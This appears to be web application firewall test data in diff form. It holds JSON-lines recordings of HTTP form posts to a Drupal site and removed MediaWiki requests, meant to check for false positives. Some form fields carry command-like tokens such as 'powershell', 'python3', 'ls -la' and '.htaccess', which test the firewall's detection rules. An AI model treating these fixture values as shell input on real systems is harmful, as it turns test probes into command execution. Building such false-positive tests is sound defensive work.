"changed=1794254830&form_build_id=form-td_F60IruKhzivNlc_dSiZNoKkTqMsj6s3fEe0Lzg7c&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=python3&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=powershell%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-FMTNk8Qw4CcnF2U2FNeC1y2ubUAWj4ZqTNt5qo4BdcA&form_id=comment_comment_form&name=Visitor&mail=powershell%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-dN1wEgo96PQAeyS6hMficsot94rVav-FiCh3v8BMjSU&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-yVUzK5fZVL6jXlfP3oAKsnObRPklHaXJoauKtJIHmtU&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-84jyppK6d-aAyIvGJa7kaD4noEcfMs7RehTSdz4g9EU&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=powershell&message%5B0%5D%5Bvalue%5D=powershell&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=powershell&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-3J5iR3r69AeW5RRi7RAx282fj3VU6h2J4PR6fP1YG5Q&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=powershell&description%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254831&form_build_id=form-yZIqKDuxmTpDq6CZIqWd8lBuwB_iNnCE2_TIn2TM-ME&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=powershell&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=ls--la%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-4zQ6mnIGEbsODUSaNqxYs--JXApqfXwTdt-VWSfbkTY&form_id=comment_comment_form&name=Visitor&mail=ls--la%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-TGTkV0e75D04o_e7Alk-EDJwtT6xg8vwAuewAeO0slI&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-g_jcUYiAO5qPeIzkdy4NL2wYOm1QSCLNTo4lWHyHeQc&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-FtmG7RAUBVZD0DWSIEQLzHVohhCrTZP4KE9v1XZcvHc&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=ls+-la&message%5B0%5D%5Bvalue%5D=ls+-la&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=ls+-la&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-GCvKEgdFSLrzi6u3mm9ubynaYpMehuF5BgJowsJqqzQ&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=ls+-la&description%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254832&form_build_id=form-Mpy8lMgtarQcYuq-z3AIsA18G7GRmL90SxJ8sikBeGw&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=ls+-la&op=Save"}
{"method": "POST", "target": "/user/register", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/register"], "body": "user_picture%5B0%5D%5Bfids%5D=&user_picture%5B0%5D%5Bdisplay%5D=1&form_build_id=form-XIkt-iN2fTtPYd7lWJM3eGKWdzSWxTiRCa04H510w6k&form_id=user_register_form&contact=1&name=new.person&mail=.htaccess%40example.com&op=Create+new+account"}
{"method": "POST", "target": "/comment/reply/node/2/comment", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/2"], "body": "homepage=&form_build_id=form-iQ-V_uMEqMD15H7SP4KXcSTRaeDo-GxWR364dg8OVnM&form_id=comment_comment_form&name=Visitor&mail=.htaccess%40example.com&subject%5B0%5D%5Bvalue%5D=Hello&comment_body%5B0%5D%5Bvalue%5D=Hello&op=Save"}
{"method": "POST", "target": "/user/2/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/2/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-1QV5rhM_GiS-l8JbBv2oD6Vbj2aWbjbakI_hPZmwX8U&form_token=ikt7sObFQYlJmktdmgLIlRsPxhOX0EvhbDnadCS1yBE&form_id=contact_message_personal_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=Hello&op=Send+message"}
{"method": "POST", "target": "/block/add/basic", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/block/add/basic", "Cookie: SESSexample=example-session-value"], "body": "body%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-TQp9Y5AoKo7vgOjxbDPLFi6UWKCEwsDCZDAtCLyt0K0&form_token=DEXbKJi13UUhxuVzHqAuIoDoIiOxVD3zIbleFQYCxWo&form_id=block_content_basic_form&revision_log%5B0%5D%5Bvalue%5D=&advanced__active_tab=&info%5B0%5D%5Bvalue%5D=Example+block&body%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/contact", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/contact", "Cookie: SESSexample=example-session-value"], "body": "form_build_id=form-QfBJ5oB-NllXlisHvYwgw2D26OFMUStRL1hKwmZneIM&form_token=hZCWIc35BbWZez4BH79sONu2xRp9yFW3Ae7bRdnhIKo&form_id=contact_message_feedback_form&subject%5B0%5D%5Bvalue%5D=.htaccess&message%5B0%5D%5Bvalue%5D=.htaccess&op=Send+message"}
{"method": "POST", "target": "/fr/user/login", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/user/login"], "body": "form_build_id=form-1DEiDDKOZVDL-IGI3M09YoWLmHFKPRR_enzR-rIz8Q4&form_id=user_login_form&name=.htaccess&pass=example-password-1&op=Log+in"}
{"method": "POST", "target": "/fr/taxonomy/term/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/taxonomy/term/1/edit", "Cookie: SESSexample=example-session-value"], "body": "description%5B0%5D%5Bformat%5D=basic_html&form_build_id=form-FvjNNJPW2G39UepkPOrBE4XhDxW0VM0tCaSOvishHlc&form_token=WfbeAFeEldVtZdSN8lbgx2xM5PHqm2eNG1Qxri7r1QQ&form_id=taxonomy_term_tags_form&parent%5B%5D=0&weight=0&revision_log_message%5B0%5D%5Bvalue%5D=&path%5B0%5D%5Balias%5D=&advanced__active_tab=&status%5Bvalue%5D=1&name%5B0%5D%5Bvalue%5D=.htaccess&description%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
{"method": "POST", "target": "/fr/node/2/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/fr/node/2/edit", "Cookie: SESSexample=example-session-value"], "body": "changed=1794254833&form_build_id=form-oGR9MfKKuJplXwsXerWc-4BgBTZ2hybTAhoNrJy-MYE&form_token=UoI__dgU4EdzPeKM_idUbulEhtmmK0aSncRMkgqykaY&form_id=node_article_edit_form&field_image%5B0%5D%5Bfids%5D=&body%5B0%5D%5Bsummary%5D=&body%5B0%5D%5Bvalue%5D=&body%5B0%5D%5Bformat%5D=basic_html&field_tags%5Btarget_id%5D=&revision=1&revision_log%5B0%5D%5Bvalue%5D=&menu%5Btitle%5D=&menu%5Bdescription%5D=&menu%5Bmenu_parent%5D=main%3A&menu%5Bweight%5D=0&comment%5B0%5D%5Bstatus%5D=2&path%5B0%5D%5Balias%5D=&uid%5B0%5D%5Btarget_id%5D=admin+%281%29&created%5B0%5D%5Bvalue%5D%5Bdate%5D=2026-11-09&created%5B0%5D%5Bvalue%5D%5Btime%5D=20%3A02%3A44&promote%5Bvalue%5D=1&status%5Bvalue%5D=1&title%5B0%5D%5Bvalue%5D=.htaccess&op=Save"}
internal/coreruleset/testdata/mediawiki-requests.txt
Vendored
-567
View File
@@ -1,567 +0,0 @@
# Ordinary MediaWiki 1.46 requests that the Core Rule Set must let through at
# the defaults. They were recorded from a wiki driven by a headless Chrome and
# an API client. Each line is one request as JSON. Host names, passwords and
# session cookies are invented.
{"method": "GET", "target": "/images/README", "headers": ["Host: example.com", "User-Agent: MediaWiki/1.46.2 (https://\ud83c\udf3b.invalid)"], "body": ""}
{"method": "GET", "target": "/wiki/Main_Page", "headers": ["Host: example.com", "User-Agent: Wget", "Accept: */*"], "body": ""}
{"method": "GET", "target": "/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=3x4w7", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate"], "body": ""}
